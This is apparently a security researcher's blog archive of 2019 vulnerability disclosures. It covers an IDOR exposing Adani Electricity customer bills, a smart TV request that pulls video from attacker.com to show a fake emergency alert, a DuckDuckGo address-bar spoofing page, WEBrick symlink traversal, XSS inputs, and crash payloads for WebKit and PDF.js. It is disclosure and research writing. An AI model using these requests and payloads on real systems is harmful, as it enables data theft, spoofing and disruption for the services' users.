Friday 13 December 2019

IDOR in Power Service

Summary
One of the India's leading power supply company named, Adani Power Limited  is the power business subsidiary of Indian conglomerate Adani Group. A subdomain was vulnerable to IDOR (Insecure Direct Object Reference) which could allow attackers to view bills of any users across India. The bill include details such as Name, Address, Bill Amount, Unit rate, Pervious bill details etc.

I found this vulnerability while using one of their service.

Vulnerable URL: https://iss.adanielectricity.com/VAS/ProcessDownloadPDF.jsp?TXTCANO=xxxxxxxxx

The parameter `TXTCANO` in the above URL contains 9 random digits which can be predicted, having said that, changing the value of that parameter can allow attackers to view bills of any other users. (Proof Of Concept)!

Chaining bugs - (Viewing Bills to Account Takeover)

If the users are not registered under Adani MyAccount. The bill obtained using the above method contains two important details
i.e. Account number and Meter Number using which an attacker could register users account to perform any fraudulent activity.

It was also observed that when you navigate to the registration page and provide the valid "Account Number" and "Meter Number" the MSISDN associate to that account is also disclosed. (Proof Of Concept)!

PS: The registration process sends an OTP to the mapped MSISDN but it was also identified that there is no rate limiting hence performing a brute-force attack would help attackers to find actual OTP or attackers could simply edit MSISDN and insert their own to get OTP.

Hence attacker now have personally identifiable information (PII) of end user i.e. Name, Address, Phone Number and other details in bill. Such information can aid attackers in conducting targeted attacks such as vishing, information gathering via SMS, attempting to steal payment information by impersonating the actual service provider via SMS or telephonic calls.

As per their about page there are 2.9 million users of Adani Electricity.

Timelines: The vulnerability was responsibly reported to Adani Electricity via group[.]csoc[at]adani[.]com on 9th Nov 2019 and was patched without any acknowledgement on 11th December 2019.

Share:

Thursday 31 October 2019

Hacktivity Badge

So, this year I presented my workshop on fuzzing in Hacktivity which is a two day conference in Budapest, Hungary & I had an amazing experience over there, I would personally endorse infosec geeks to be part of that conference.

Nevertheless, I came across the electronic badge which was provided to every attendee in that conference and here is the introductory part of how to get started with the badge.

The badge runs with the MicroPython on ESP32 (low-power microcontroller) so you can develop apps via MicroPython and once the application is ready, you can upload it to the Hatchery as an egg, and the badge will be able to download and run it.



Connect your badge via USB and run `lsusb` or something alternative of `lsusb` in this case I have used `usb-devices` which prints usb device details.


Further I used `dmseg` to list more details of the connected USB devices.



So this gives a name of the badge which would be helpfully to connect and interact further with the badge using screen.
$ screen /dev/ttyACM0 
Once you are connected a welcome message is shown,


After `Enter` is touch the badge would give you main menu and setting options the badge screen is small so moving forward we would be setting up the WiFi manually via cmdline.


Navigate to Settings --> WiFi and scan for networks, select your SSID and punch in the password.


Now, every time you start your badge or perform any activity which requires WiFi it will auto select the SSID which you configured above and that's how you download/install apps or upgrade the badge firmware.

With the help of MicroPython wiki page I understood different functions for MicroPython and wrote a simple program that displays your name on badge.

__init__.py
Register to Hatchery, then login and upload the above code to Hatchery under a category. In this case I uploaded this code under graphic category with the name  `input`. The below video PoC demonstrates that under Installer section you would have different category, select any one category which fetches the egg's from Hatchery select any one of the egg and the badge will install it.



Once install you can view the output under the badge screen, in this case the name was displayed you can view the badge here.
I've also managed to download the badge firmware which can be found here.

Reference: https://hacktivity.com/index.php/badge/

Share:

Monday 9 September 2019

Telegram addresses another privacy issue

Summary: This is not a security vulnerability its a privacy issue. As I understand Telegram a messaging app focuses on privacy which has over 10,00,00,000+  downloads in Playstore. In this case, we are abusing a well-known feature of deleting messages, which allows users to delete messages sent by mistake or genuinely to any recipient. It was observed that once the message (image) is sent to the recipient, it still remains in the internal storage of the user which is located at  `/Telegram/Telegram Images/`path.

Technical analysis: I found this bug when I was researching about Telegram and MTProto protocol. To demonstrate this bug let's assume two people here, Bob and Alice.

Assume a scenario where Bob sends a message which is a confidential image and was mistakenly sent to Alice, Bob proceeds to utilize a feature of Telegram known as "Also delete for Alice" which would essentially delete the message for Alice. Apparently, this feature does not work as intended, as Alice would still be able to see the image stored under `/Telegram/Telegram Images/` folder, concluding that the feature only deletes the image from the chat window.

The highlighted issue is valid when we talk about Telegram "supergroups" as well, assume a case wherein you're a part of a group with 2,000,00 members and you accidentally share a media file not meant to be shared in that particular group and proceed to delete, by checking "delete for all members" present in the group. You're relying on a functionality that is broken since your file would still be present in storage for all users.
Aside from this, I found that since Telegram takes `read/write/modify` permission of the USB storage which technically means the confidential photo should have been deleted from Alice's device or storage.

Comparison: A compete, app for Telegram which is WhatsApp also has the same feature to "Delete for everyone". If you perform the following steps mentioned above in WhatsApp it deletes the confidential photo from Alice's `/Whatsapp/Whatsapp Media/Whatsapp Images/` folder and maintains the privacy however Telegram fails. WhatsApp takes the same permission when it comes to storage which is `read/write/modify`.

This issue could have a bigger impact and I am not sure how far this was in place; the word privacy of Telegram fails here again, and users trust against the Telegram is at risk.

Video PoC:



Affected version: I have tried this with the latest stable version (5.10.0 (1684)) of Telegram for Android. I haven't tried this with Telegram for iOS and Telegram for Windows but assuming this issue would exist on other these platforms.

Responsible disclosure: I submitted this to Telegram sec-team via security[at]telegram[dot]org and a fix was pushed in the latest version of Telegram 5.11. Also €2,500 was awarded by Telegram.

Other Workaround: The alternative solution would be to utilize the feature of "New Secret Chat" in Telegram where no such traces are left.

References: Picture used above credit and source[1]. Download the PDF version of this article[2]. Later CVE-2019-16248 was assigned to this issue.
Share:

Monday 3 June 2019

Hacking Smart TV

Summary:
Supra Smart Cloud TV allows remote file inclusion in the openLiveURL function, which allows a local attacker to broadcast fake video without any authentication via a /remote/media_control?action=setUri&uri=URI



Technical Observation: 
We are abusing `openLiveURL()` which allows a local attacker to broadcast video on supra smart cloud TV. I found this vulnerability initially by source code review and then by crawling the application and reading every request helped me to trigger this vulnerability.

Vulnerable code:
function openLiveTV(url)
{
$.get("/remote/media_control", {m_action:'setUri',m_uri:url,m_type:'video/*'},
function (data, textStatus){
if("success"==textStatus){
alert(textStatus);
}else
{
alert(textStatus);
}
});
}

Vulnerable request:
GET /remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8 HTTP/1.1
Host: 192.168.1.155
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
To trigger the vulnerability you can send a crafted request to the URL,

http://192.168.1.155/remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8

Although the above mention URL takes (.m3u8) format based video. We can use `curl -v -X GET` to send such request, typically this is an unauth remote file inclusion. An attacker could broadcast any video without any authentication, the worst case attacker could leverage this vulnerability to broadcast a fake emergency message (Scary right?)

Although, this is still unpatched because I didn't find any-way to contact the vendor. The above video PoC shows a successful demonstration of this attack where Mr.Steve Jobs speech is suddenly replaced with attacker fake "Emergency Alert Message" this may make end user panic.

Updating! Friday, June 28, 2019

I've created an MSF module for this vulnerability which broadcast video of Epic sax guy to the remote system.
Share:

Tuesday 28 May 2019

DuckDuckGo Address Bar Spoofing

Summary: The DuckDuckGo Privacy Browser application 5.26.0 for Android allows address bar spoofing via a setInterval call, as demonstrated by reloading every 50 ms.

Technical Observation: A browser that’s scoring in the 50,00,000+ tier of Android download. It was observed that the DuckDuckGo privacy browser ominibar can be spoofed by a crafted javascript page spoofing `setInterval` function and reloading the URL in every 10 to 50 ms.

Proof of concept: (Gist)

<html><body> <title>DuckDuckGo — Privacy, simplified.</title> <head><style> p.b { font-family: Arial, Helvetica, sans-serif; } </style></head><p class="b"><body bgcolor="#5DBCD2"> <h1 style="text-align:center;">We defintiely store your <br> personal information. Ever.</h1> <p style="text-align:center;">Our privacy policy is simple: we collect and share any of your personal 
information to 3rd parties.</p> </p><img src="https://duckduckgo.com/assets/onboarding/bathroomguy/4-alpinist-v2.svg"> <script> function fakefuntion() { location = "https://duckduckgo.com/" } setInterval("fakefuntion()", 50); </script></body></html>

The actual magic happens at `fakefunction()` above-crafted javascript file loads the real www.duckduckgo.com in a loop of every 50 ms whereas the inner HTML can be modified accordingly.

The above PoC shows the demonstration of the successful attack.

Timeline:
This issue was submitted to DuckDuckGo team via HackerOne on Oct 31st, 2018, DuckDuckGo rewarded with a swag on Nov 13th, 2018 but the issue was closed without a fix which says "team doesn't view it as a serious issue" and report was marked as informative. Further CVE-2019-12329 was assigned to this issue.


Share:

Friday 24 May 2019

PHDays - Fuzzing 101

So, this year (2019) me along with my colleague Zubin delivered a workshop in PHDays 9 on fuzzing. This workshop was mainly focused on an introduction to fuzzing using AFL and ASAN.

The prime focus of the workshop would be around the following areas: Fuzzing using SPIKE, blind and input-based fuzzing (AFL), finding memory bugs using ASAN with AFL integration, protocol fuzzing (HTTP, FTP, SMTP). Then we concluded the workshop by showcasing multiple bugs found during their research.



Slides: Fuzzing-101_PHDays.pdf

Ubuntu OVA file: Ubuntu_Fuzzing101.ova  : Size: 4.x GB, 4GB RAM, 40 GB HD.
Username: PHDays
Password: E@sy

We have further plans to take an advanced workshop on this in other conferences. Fork this repository on GitHub. If you want to read more about fuzzing here is what I wrote while fuzzing WebKit.
Share:

Sunday 12 May 2019

Path Traversal in WEBrick via SYMLINK

Summary: The WEBrick gem 1.4.2 for Ruby allows directory traversal if the attacker once had local access to create a symlink to a location outside of the web root directory.

NOTE: The vendor states that this is analogous to Options FollowSymlinks in the Apache HTTP Server, and therefore it is "not a problem."

Technical Observation: A path traversal issue was observed in WEBrick (WEBrick/1.4.2 (Ruby/2.6.3/)) via symlink. WEBrick serves static page for the current directory once enabled, however using symlink attacker could view data outside the hosted/running directory.

Steps to reproduce:
mkdir nothing
 cd nothing
 ln -s ../../ symlnk
 ruby -run -ehttpd . -p8080
ImpactThis would allow the attacker to view sensitive data outside the root/running directory.

Remediation: In order to solve the problem, we should simply check the absolute/real path of any user input paths and if the absolute path is outside the home directory, then return an error response, This way users will not lose the possible benefits of symbolic links.
OR
Educating users about this behavior in the docs and probably providing a flag to disable/enable the symlinks.

After reporting this to WEBrick team, they will add below statement in WEBrick documentation.

"WEBrick can be run as a production server for small loads. Be aware that symlinks might allow users to view data outside of the designated root directory, such as for the Apache webserver with the FollowSymlinks option enabled".

Documentation: https://ruby-doc.org/stdlib-2.6.3/libdoc/webrick/rdoc/WEBrick.html

Apart from WEBrick, I reported the same vulnerability in one of the npm module (simplehttpserver) via H1 but went duplicate. Also, the issue exists in python modules `SimpleHTTPServer` and `http.server` but python security team says these servers should not be used in production and they have already mentioned it in their documentation.

I also found PHP -S module and hhvm protect against this vulnerability by default, a disputed CVE-2019-11879 was assigned to this issue against WEBrick.
Share:

Friday 26 April 2019

XSS everywhere

Summary: The "Chat Room" portlet demo that ships with the Apache Pluto Tomcat bundle contains a persistent Cross-Site Scripting (XSS) vulnerability. Specifically, if an attacker can input raw HTML markup into the "Name" or "Message" input fields and submits the form, then the inputted HTML markup will be embedded in the subsequent web page.

Versions Affected:
Apache pluto 3.0.0, 3.0.1

Example:
- Start the Apache Pluto Tomcat bundle
- Visit http://localhost:8080/pluto/portal/Chat%20Room%20Demo
- In the name field, enter:
     <input type="text" value="Name field XSS></input>
- Click Submit
- In the message field, enter:
     <input type="text" value="Message field XSS></input> 
Patch:
diff --git demo/chat-room-demo-portlet/pom.xml demo/chat-room-demo-portlet/pom.xml
index e37d88ddb..1e4b2e4dd 100644
--- demo/chat-room-demo-portlet/pom.xml
+++ demo/chat-room-demo-portlet/pom.xml
@@ -43,6 +43,10 @@
    <version>6.0</version>
    <scope>provided</scope>
   </dependency>
+  <dependency>
+   <groupId>org.apache.commons</groupId>
+   <artifactId>commons-lang3</artifactId>
+  </dependency>
   <!-- for eclipse JSP tooling purposes -->
   <dependency>
    <groupId>javax.servlet.jsp</groupId>
diff --git demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/ChatHistory.java demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/ChatHistory.java
index df82f6a4a..b9f61cf02 100644
--- demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/ChatHistory.java
+++ demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/ChatHistory.java
@@ -18,6 +18,8 @@
 
 package org.apache.portals.pluto.demo.chat;
 
+import org.apache.commons.lang3.StringEscapeUtils;
+
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.List;
@@ -66,7 +68,7 @@ public class ChatHistory {
       StringBuilder txt = new StringBuilder(128);
       synchronized (messages) {
          for (String msg : messages) {
-            txt.append("<p>").append(msg).append("</p>\n");
+            txt.append("<p>").append(StringEscapeUtils.escapeHtml4(msg)).append("</p>\n");
          }
       }
       return txt.toString();
diff --git demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/HelloWorldRender.java demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/HelloWorldRender.java
index 50ac6befd..6eaa6236b 100644
--- demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/HelloWorldRender.java
+++ demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/HelloWorldRender.java
@@ -19,6 +19,8 @@
 
 package org.apache.portals.pluto.demo.chat;
 
+import org.apache.commons.lang3.StringEscapeUtils;
+
 import javax.inject.Inject;
 import javax.portlet.annotations.RenderMethod;
 
@@ -48,7 +50,7 @@ public class HelloWorldRender {
       txt.append("<h3>Hello \n");
       // Get the name from the bean. If it hasn't been set, just greet the world.
       if (nameBean.getName() != null) {
-         txt.append(nameBean.getName());
+         txt.append(StringEscapeUtils.escapeHtml4(nameBean.getName()));
       } else {
          txt.append("World\n");
       }
Mitigation:
* Uninstall the ChatRoomDemo war file
- or -
* migrate to version 3.1.0 of the chat-room-demo war file

Later CVE-2019-0186 was assigned to this issue and here is the advisory from apache pluto [1] [2].
Share:

Wednesday 17 April 2019

Code execution - Evernote

Summary:
A local file path traversal issue exists in Evernote 7.9 for macOS which allows an attacker to execute arbitrary programs.



Technical observation:
A crafted URI can be used in a note to perform this attack using file:/// as an argument or by traversing to any directory like
(../../../../something.app).

Since Evernote also has a feature of sharing notes, in such a case an attacker could leverage this vulnerability and send crafted notes (.enex) to the victim to perform further attacks.

Patch:
A patch for this issue was released in Evernote 7.10 Beta 1 and 7.9.1 GA for macOS [MACOSNOTE-28840]. CVE-2019-10038 was assigned to this issue.
Share:

Saturday 23 February 2019

Fuzzing Webkit

Summary: While fuzzing webkit the UIProcess subsystem in WebKit, as used in WebKitGTK through 2.23.90 and WebKitGTK+ through 2.22.6 and other products, does not prevent the script dialog size from exceeding the web view size, which allows remote attackers to cause a denial of service (Buffer Overflow) or possibly have unspecified other impact, related to files such as UIProcess/API/gtk/WebKitScriptDialogImpl.cpp and UIProcess/API/gtk/WebKitWebViewGtk.cpp.

System Specifications: My setup was done using Ubuntu 16.04 LTS (my base OS). You can use macOS as well as it has Xcode and Safari by default. If you are using Ubuntu in VM please allocate as much memory and CPUs as possible.

Source Code: You can download webkit source code from here or simply git:

cmd: git clone git://git.webkit.org/WebKit.git webkit 

Before you build webkit make sure to install necessary dependencies, it will require a lot of trial and error while installing the dependencies but perseverance always wins.

cmd: ./Tools/gtk/install-dependencies

Build: To build webkit in macOS use,

cmd: ./Tools/Scripts/build-webkit  

cmd:   mkdir build
          cd build
          CC=clang CXX=clang++ cmake -GNinja -DFUZZ=1 ../
          ninja

For ASAN:

Enabling ASAN or MSAN flags to see runtime bugs while building the packages.

cmd: -DCMAKE_CXX_FLAGS="-fsanitize=address  -fsanitize=leak -g"

The compilation of webkit is a time and memory consuming task, make sure you don't run out of patience. Once successfully build you can test by running safari or providing the path of any webkit application.

cmd: ./Tools/Scripts/run-safari

cmd: ./Tools/Scripts/run-webkit-app 

Start fuzzing: From the /build directory you can run fuzzer[1]

cmd: ./fuzz/cert -max_len=1000 -jobs=32 -workers=32 ../fuzz/cert_corpus/

This is one of the methods to fuzz webkit, while running the libFuzzer continuously for multiple days, I did not observe any crashes or hangs. The reason being there are many researchers out there who have fuzzed webkit and reported several bugs in past. (and I've just started..)

Now what?

I started researching more about webkit and found out that "epiphany-browser" utilizes the webkit browser engine, I thought that this browser might have been untouched in terms of fuzzing by a lot of the researchers, hence this time I used AFL to fuzz epiphany. For test-cases, I used domato from google project zero (A DOM fuzzer) to provide input to AFL

Source code: Epiphany Browser

With AFL: 

cmd: mkdir build && cd build 
        CC=afl-gcc meson --default-library=static ../
        AFL_HARDEN=1 ninja

Once done you can start fuzzing epiphany with AFL.

cmd: afl-fuzz -i in/ -o out/ binary @@ 

I let AFL running for 4 days and observed 16 crashes, among those 7 were unique crashes and 4 were hangs (Happy face). I started analyzing the observed hangs. One of the PoC from AFL freezes the epiphany browser by causing the UI process to terminate and below debug traces were left.
(epiphany:4423): Gdk-WARNING **: Native Windows wider or taller than 32767 pixels are not supported
Gdk-Message: Error 71 (Protocol error) dispatching to Wayland display
Looking at the above traces I came to the conclusion that the native UI window cannot open dialog boxes more than 32767 pixels.

Rather than using AFL PoC every time, I generated my own test-case as I just needed to pass some random characters in native UI windows to produce this hang.
<script>
   var a = '';
   for (var i = 1; i <= 5000; i++)
    {
       a += 'A';
    }
   alert(a);
</script>
You can run the above JS on a vulnerable version of epiphany browser to test this issue. I went ahead and found that WebKitScriptDialogGtk.cpp along with WebKitScriptDialogImpl.cpp &  WebKitWebViewGtk.cpp from webkit source code are responsible for this issue and figured out the below snippet of code from WebKitScriptDialogGtk.cpp was the source of the vulnerability.
static GtkWidget* webkitWebViewCreateJavaScriptDialog(WebKitWebView* webView, GtkMessageType type, GtkButtonsType buttons, int defaultResponse, const char* primaryText, const char* secondaryText = nullptr)
{
    GtkWidget* parent = gtk_widget_get_toplevel(GTK_WIDGET(webView));
    GtkWidget* dialog = gtk_message_dialog_new(WebCore::widgetIsOnscreenToplevelWindow(parent) ? GTK_WINDOW(parent) : nullptr,
        GTK_DIALOG_DESTROY_WITH_PARENT, type, buttons, "%s", primaryText);
    if (secondaryText)
        gtk_message_dialog_format_secondary_text(GTK_MESSAGE_DIALOG(dialog), "%s", secondaryText);
    GUniquePtr<char> title(g_strdup_printf("JavaScript - %s", webkitWebViewGetPage(webView).pageLoadState().url().utf8().data()));
    gtk_window_set_title(GTK_WINDOW(dialog), title.get());
    if (buttons != GTK_BUTTONS_NONE)
        gtk_dialog_set_default_response(GTK_DIALOG(dialog), defaultResponse);

    return dialog;
}
After that I submitted this bug in webkit, the issue was patched and  CVE-2019-8375 was assigned which states "This allows remote attackers to cause a denial of service (Buffer Overflow) or possibly have unspecified other impact."

Metasploit module: It is a denial of service vulnerability and you can simply use RemoteHTTPServer to write a quick MSF module for this.
In the past, I have created BFuzz (DOM Fuzzer) which automates the task of generating multiple test-cases using domato, which can be further used to fuzz browsers of your choice.

However, there are still 7 unique crashes and 3 hangs which I haven't analyzed yet, that may be covered in one of my upcoming blog posts.
Share:

Wednesday 13 February 2019

Say OK Google!

Hi Internet,

Summary: The inbuilt applock of Dr. Safety can be bypassed locally by saying "OK Google" and then viewing the activity pane, which was left unpatched by TrendMicro.

Img Src: https://lh6.ggpht.com/

After finding Same Origin Policy Bypass in Trend Micro Dr. Safety for Android (Consumer), I started digging more on this application. It also has a feature of applock which enables users to lock their respective applications via secure pin or fingerprint.

This may not be a great bug because only a local attacker can exploit the issue, but the steps to reproduce this issue was innovative (personal opinion).

Steps to reproduce:
1. Lock all your apps using Dr. Safety app lock. (Google, Gmail, Slack etc.)
2. Once all applications are locked by Dr. Safety app lock, Say OK Google. (Assuming your OK Google service is also locked it will ask for pin or pattern).
3. But continue saying such as "My emails from Sanjay"
4. In background "OK Google" replies "This is what i found ...." (However, still we cant see the data because Dr. Safety app is asking for pin/pattern #Step2).
5. Now, just try closing that window by using activity pane. (Which actually allows you to close all running apps).
6. Bingo! In app preview you will see the glimpse of email from "Sanjay" or Mr.XYZ. Below PoC for reference.

 

I believe from a malicious attacker's perspective, the application still fails to prevent exposure of other applications which are being locked by Dr Safety, thus leaking such confidential information, which in my opinion is a concern.

I went ahead and spent some time by analyzing the APK file and found AppLockMain.xml file can be responsible for this issue.

Recommendation:
As a recommendation, I can suggest that when the user accesses the activity pane using the hardware/software buttons on the phone, the Dr. Safety app can detect if it's running in the background and use a screen overlay of it's own to mask the other applications which are being display in the activity pane.

Alternative applock:
and guess what? there is an alternative app in playstore which also locks the recent app list (activity pane) in the same fashion which i mentioned above. So Norton App Lock from play store allows users to lock their activity pane also in such case the above attack scenario will be failed.


Trend Micro security team left this issue unpatched and replied:
* User could easily clear all recent activities.
* On Android 7 and above, users could easily dismiss the ‘draw over other apps’ in status bar, so the page blocked ‘Recent’ will be dismissed. Thus, we could not provide this enhancement efficiently.
 
I hope you like the read.

Thank you
Share:

Monday 21 January 2019

Fuzzing HTTP Server (PDF.js)

Hi Internet

Summary: While fuzzing Mozilla PDF.js a format string vulnerability it was observed that the development server used in PDF.js gets crash when a malformed URI(bad request) is sent.

PS: The patch for the path traversal bug which was found perviously gave rise to this issue.

I have used boofuzz in the case to fuzz PDF.js, boofuzz is a fork of and the successor to the venerable sulley fuzzing framework, for installation you can simply use pip.

pip install boofuzz

Then,
session = Session(
    target=Target(
        connection=SocketConnection("127.0.0.1", 8888, proto='tcp')))
In boofuzz each message starts with an s_initialize()
s_initialize(name="Request")
    with s_block("Request-Line"):
        s_group("Method", ['GET'])
        s_string("/", name='Request-URI')
        s_string('HTTP/1.1', name='HTTP-Version')
Vulnerable code in PDF.js (webserver.js):
  _handler: function (req, res) {
     var url = req.url.replace(/\/\//g, '/');
     var urlParts = /([^?]*)((?:\?(.*))?)/.exec(url);
     // guard against directory traversal attacks,
     // e.g. /../../../../../../../etc/passwd
     // which let you make GET requests for files outside of this.root
     var pathPart = path.normalize(decodeURI(urlParts[1]));
If you see the bold part of the above code the PDF.js did not have any guard for malformed URI sent in various methods.

However, the fuzzer ran for an hour and it was observed that the HTTP server of PDF.js can't handle malformed strings and server gets crash. While fuzzing with boofuzz its better to start Wireshark on 'lo' to see all the fuzzed request which are sent to the server. I found /%s%s%s was used in this case.
curl -v -X GET 127.0.0.1:8888/%s%s%s
The PDF.js server gets crash and below traces are left.
Server running at http://localhost:8888/
[12:16:22] 'server' errored after 1.01 h
[12:16:22] URIError: URI malformed
at decodeURI ()
at WebServer._handler (/Users/Dhiraj/Desktop/pdf.js/test/webserver.js:86:35)
at Server.emit (events.js:188:13)
at Server.EventEmitter.emit (domain.js:459:23)
at parserOnIncoming (_http_server.js:676:12)
at HTTPParser.parserOnHeadersComplete (_http_common.js:113:17)
However, the bug was submitted to Mozilla and a patch was deployed for same.

Patch code in PDF.js (webserver.js):
    try {
       // Guard against directory traversal attacks such as
       // `/../../../../../../../etc/passwd`, which let you make GET requests
       // for files outside of `this.root`.
       var pathPart = path.normalize(decodeURI(urlParts[1]));
     } catch (ex) {
       // If the URI cannot be decoded, a `URIError` is thrown. This happens for
       // malformed URIs such as `http://localhost:8888/%s%s` and should be
       // handled as a bad request.
       res.writeHead(400);
       res.end('Bad request', 'utf8');
       return;
     }
     var queryPart = urlParts[3];
     var verbose = this.verbose;
If you are a mozillian and you like my work towards PDF.js, don't hesitate to vouch me :) Hope you like the read.
https://mozillians.org/en-US/u/Dhiraj_Mishra/

Thank you
Share:

Tuesday 15 January 2019

I swiped right

Hi Internet,

Summary: By using multi-gesture trackpad along with Safari browser in MacBook Pro, one can view sensitive data which is cached in your Safari browser. (Note: This is not a back button browsing vulnerability)

I figured out this issue while playing around with Safari browser, looks like the most recent activity of any authenticated or un-authenticated website is stored in cache of Safari browser and by taking the advantage of multi-gesture trackpad we can retrieve any or all information about that activity.

Looks like Apple provides a feature in trackpad which allows users to swipe between the pages or applications. It also allows you to tap, swipe, pinch, or spread one or more fingers to perform useful actions but seems they forgot to add some security measures in this.

Trackpad settings

Steps to reproduce:
1. Open safari browser (v12.0.2 (14606.3.4) was used in this case)
2. Login to any dynamic website (I've used www.gmail.com)
3. Perform your dynamic activity
4. Logout (But don't close your safari browser)
5. Now swipe right

You would actually see your recent data, between the pages. I've also created a video proof-of-concept for same.

Apple says: After reviewing your report we do not see any actual security implications. (I think this was the lamest vendor response).



But, I feel like this is an interesting issue which can be exploited by local attacker. Also this only works with safari browser. I hope you like the read.

Thank you
Share:

Sunday 6 January 2019

Metadata and potential password leak in aria2

Hi Internet,

Summary: aria2 is a lightweight multi-protocol command-line utility, which store's "HTTP Basic Authentication" username and password in a file when `--log` attribute is used.

This issue was observed while performing the code review of aria2, However the file HttpConnection.cc was responsible for this issue, below is the vulnerable code :

1. It was observed that URL's which gets downloaded via `--log=` attribute stored sensitive information.
2. In combination with HTTP authentication a username and password can be part of the URL.
    `aria2c --log=file https://user:passwd@example.com/`

In such case the log file contains password as well, sometimes URL's may contain secret tokens, e.g. private file shared on a file hosting service. In general storing metadata at unexpected places should be avoided, rest other utility like cURL was patched to this issue, it uses HTTP digest authentication mechanism for such case.

Moving further this issue was patched and such information will be masked in latest versions of aria2. This is also similar to when URL of downloads gets stored via filesystem attributes on systems that support unix extended attributes. You can see these attributes on Linux systems by running getfattr -d [filename]

Later CVE-2019-3500 was assigned to this issue, hope you like the read.

Thank you
Share: